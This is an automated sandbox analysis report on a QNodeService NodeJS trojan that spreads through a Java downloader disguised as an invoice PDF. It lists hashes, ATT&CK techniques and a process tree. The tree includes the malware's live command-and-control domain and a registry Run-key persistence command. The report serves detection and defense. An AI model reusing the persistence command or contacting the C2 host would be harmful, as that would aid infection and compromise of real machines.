qnodeservice | 51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5

General

Target

Facture Octobre #052020.pdf.jar
Size

120KB
MD5

c7139ea7b8db4abd3c0928fc15dc523e
SHA1

91c8278bc94c53fcec38777367b70ba670fb582d
SHA256

51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5
SHA512

567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4676	node.exe
4536	node.exe
2524	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ab5dbe50-10a0-4163-8b59-6792dd8a2495 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab5c-180.dat	js
behavioral2/files/0x000100000001ab5c-183.dat	js
behavioral2/files/0x000100000001ab5c-187.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4676	node.exe
4676	node.exe
4676	node.exe
4676	node.exe
4536	node.exe
4536	node.exe
4536	node.exe
4536	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe
2524	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 4348	4696	java.exe	76
PID 4696 wrote to memory of 4348	4696	java.exe	76
PID 4348 wrote to memory of 4676	4348	javaw.exe	80
PID 4348 wrote to memory of 4676	4348	javaw.exe	80
PID 4676 wrote to memory of 4536	4676	node.exe	82
PID 4676 wrote to memory of 4536	4676	node.exe	82
PID 4536 wrote to memory of 2524	4536	node.exe	83
PID 4536 wrote to memory of 2524	4536	node.exe	83
PID 2524 wrote to memory of 1044	2524	node.exe	85
PID 2524 wrote to memory of 1044	2524	node.exe	85
PID 1044 wrote to memory of 2160	1044	cmd.exe	86
PID 1044 wrote to memory of 2160	1044	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Facture Octobre #052020.pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain mparrain10.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2524
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1044
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2160

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2524-188-0x0000034DCAF40000-0x0000034DCAF41000-memory.dmp

Filesize
4KB

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memory/4536-184-0x00000278685C0000-0x00000278685C1000-memory.dmp

Filesize
4KB

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memory/4676-181-0x000003C8D2200000-0x000003C8D2201000-memory.dmp

Filesize
4KB

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